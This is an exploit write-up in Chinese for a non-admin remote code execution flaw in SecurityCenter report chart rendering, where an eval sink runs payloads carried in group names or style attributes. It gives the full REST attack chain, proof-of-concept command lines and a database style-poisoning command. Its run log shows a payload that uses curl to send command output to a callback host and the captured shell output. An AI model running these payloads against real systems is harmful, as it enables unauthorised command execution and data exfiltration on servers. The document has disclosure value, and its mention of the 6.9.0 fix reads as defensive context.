
状态:已确认 — 纯远程、非管理员、仅 REST(6.7.2-14.el9 实验室,2026-08-21)。
武器化利用链(即 poc.py 所做的工作):
POST /rest/group,使用 name: "{=system('<cmd>')}" — 花括号/引号会被原样接受
(group 控制器没有字符集检查)POST /rest/reportDefinition — PDF 报表,一个 pieChart 组件,
user/sumgroup 查询,labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams() 会在 {=...} 求值循环运行之前,先将 占位符替换为组名 —
payload 落入格式字符串中, 以 tns 身份触发{label}eval("$expr = system('<cmd>');")system() 的返回值会被替换回标签中 — 命令输出渲染到最终报表的饼图图例中(外传通道)标记 /tmp/pwn_label 正是由这条利用链创建的(无需数据库访问、无需样式写入、无需文件上传)。注意,零成员组仍会生成一个扇区 — sumgroup 聚合将其包含在内。
此外,通过直接调用和全流水线样式投毒(见下方历史记录)得到确认:eval sink 在随附的 substituteParams() 中处于活跃状态,且被投毒的默认 legendFormat 样式属性会在任何饼图渲染时触发,包括非管理员拥有的报表。
投递注意事项(为什么纯 REST PoC 会受阻): 报表定义中的内联 style 对象 — PoC 在其中植入 legendFormat/labelFormat — 会原样存储在 xmlDefinition 中,但在渲染时被丢弃:getReport(CONTEXT_RENDER) 从规范化表中重新水合组件,并用 StyleLib::getComponentStyle()(按 styleID 获取)覆盖 $component['style']。样式导入控制器存在(Styles::add,通过 xmlToStyles 解析上传的 XML 文件,且仅限管理员的检查被注释掉),但没有暴露任何到它的路由 — 12 个动词/路径组合(style、styles、style::add、style/import × POST/PUT/PATCH,并带有有效的暂存文件名)均返回错误 10,且 UI 包中没有任何样式端点调用。因此,纯远程投递需要一条 6.7.2 未暴露的样式写入路径;渲染后的利用链是通过样式属性直接演示的。
/opt/sc/src/lib/ReportChartingLib.php(SecurityCenter 6.8.0 及更早版本):
substituteParams() 中的 eval("\$expr = {$exprs[1]};")。饼图图例/标签格式字符串($style['legendFormat'] / $style['labelFormat'],第 4952/4983 行)支持 {=<arithmetic>} 占位符,例如内置默认值 {={sector}+1}。表达式主体是用户提供的报表定义内容 → 任意 PHP。eval("\$sectorLabels->setBackground($labelStyle);"),其中 labelStyling 来自图表样式。6.8.0 的防护是 if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — 只拒绝 ;;system('cmd') 能通过。circleShape(10))上的 if (is_callable($matches['name'])) 门禁。system(id) 能通过该门禁。6.9.0 的修复注释直截了当地指出:"is_callable() 不是一个安全门禁(is_callable("system") === true)"。任何拥有报表定义权限的组织用户,在渲染时(generateReport.php / Jobd)都能触达这三处。ReportDefinitions::launch() 拒绝 ROLE_ADMIN — 该漏洞类别明确是非管理员的。
命令输出会被替换回标签文本中,因此渲染出的报表就是外传通道。
移除了 eval();{=...} 表达式限制为 /^[0-9.\s()+\-*\/]+/,并由分词器求值;resolveLabelStyleArgs() 将标签样式解析为参数列表;isAllowedBarShapeFunction() 采用仅限数字参数的白名单。
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
组名标签注入(即上面的远程利用链):创建以 payload 命名的组,构建 sumgroup 报表,启动并轮询渲染结果 — 命令输出出现在成品报表的饼图图例中。Payload 约束:不能包含 } 字符({=...} 正则表达式非贪婪匹配到第一个花括号);命令输出借助标签替换传递,因此请从报表中读取,或通过标记/时序进行验证。
style.legendFormat/labelFormat 会原样存储在 xmlDefinition 中,但在渲染时被丢弃 — 组件通过 styleID 从 Style 表重新水合样式(ReportDefinitionLib 渲染上下文会用 StyleLib::getComponentStyle() 覆盖 $component['style'])。Styles::add,管理员检查被注释掉,通过 xmlToStyles 解析上传的 XML),但没有接通任何路由 — 12 个动词/路径组合(包括子资源 /rest/style/{id})均返回错误 10,且 UI 包中没有任何样式端点调用。{label} 替换先于求值循环,因此任何受攻击者影响的标签(此处为组名;用户资料字段和扫描资产的主机名也是同样的形态)都会携带 payload。# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0